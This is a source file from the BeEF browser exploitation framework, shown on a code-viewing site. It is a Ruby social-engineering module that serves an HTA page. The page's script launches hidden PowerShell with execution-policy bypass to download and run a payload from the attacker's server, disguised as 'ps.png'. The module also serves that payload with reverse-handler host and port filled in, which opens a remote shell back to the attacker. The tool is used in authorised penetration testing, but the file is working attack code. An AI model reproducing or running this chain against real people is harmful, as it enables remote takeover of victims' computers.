Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/extensions/social_engineering/powershell/bind_powershell.rb
1155 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
module BeEF
7
module Extension
8
module SocialEngineering
9
#
10
# By default powershell will be served from http://beef_server:beef_port/ps/ps.png
11
#
12
# NOTE: make sure you change the 'beef.http.public' settings in the main BeEF config.yaml to the public IP address / hostname for BeEF,
13
# and also the powershell-related variable in extensions/social_engineering/config.yaml,
14
# and also write your PowerShell payload to extensions/social_engineering/powershell/powershell_payload.
15
class Bind_powershell < BeEF::Core::Router::Router
16
before do
17
headers 'Pragma' => 'no-cache',
18
'Cache-Control' => 'no-cache',
19
'Expires' => '0'
20
end
21
22
# serves the HTML Application (HTA)
23
get '/hta' do
24
response['Content-Type'] = 'application/hta'
25
@config = BeEF::Core::Configuration.instance
26
beef_url_str = @config.beef_url_str
27
ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')
28
payload_url = "#{beef_url_str}#{ps_url}/ps.png"
29
30
print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}"
31
"<script>
32
var c = \"cmd.exe /c powershell.exe -w hidden -nop -ep bypass -c \\\"\\\"IEX ((new-object net.webclient).downloadstring('#{payload_url}')); Invoke-ps\\\"\\\"\";
33
new ActiveXObject('WScript.Shell').Run(c);
34
</script>"
35
end
36
37
# serves the powershell payload after modifying LHOST/LPORT
38
# The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO
39
get '/ps.png' do
40
response['Content-Type'] = 'text/plain'
41
42
@ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host')
43
@ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port')
44
45
ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload"
46
47
if File.exist?(ps_payload_path)
48
return File.read(ps_payload_path).to_s.gsub('___LHOST___', @ps_lhost).gsub('___LPORT___', @ps_port)
49
end
50
51
nil
52
end
53
end
54
end
55
end
56
end
57
58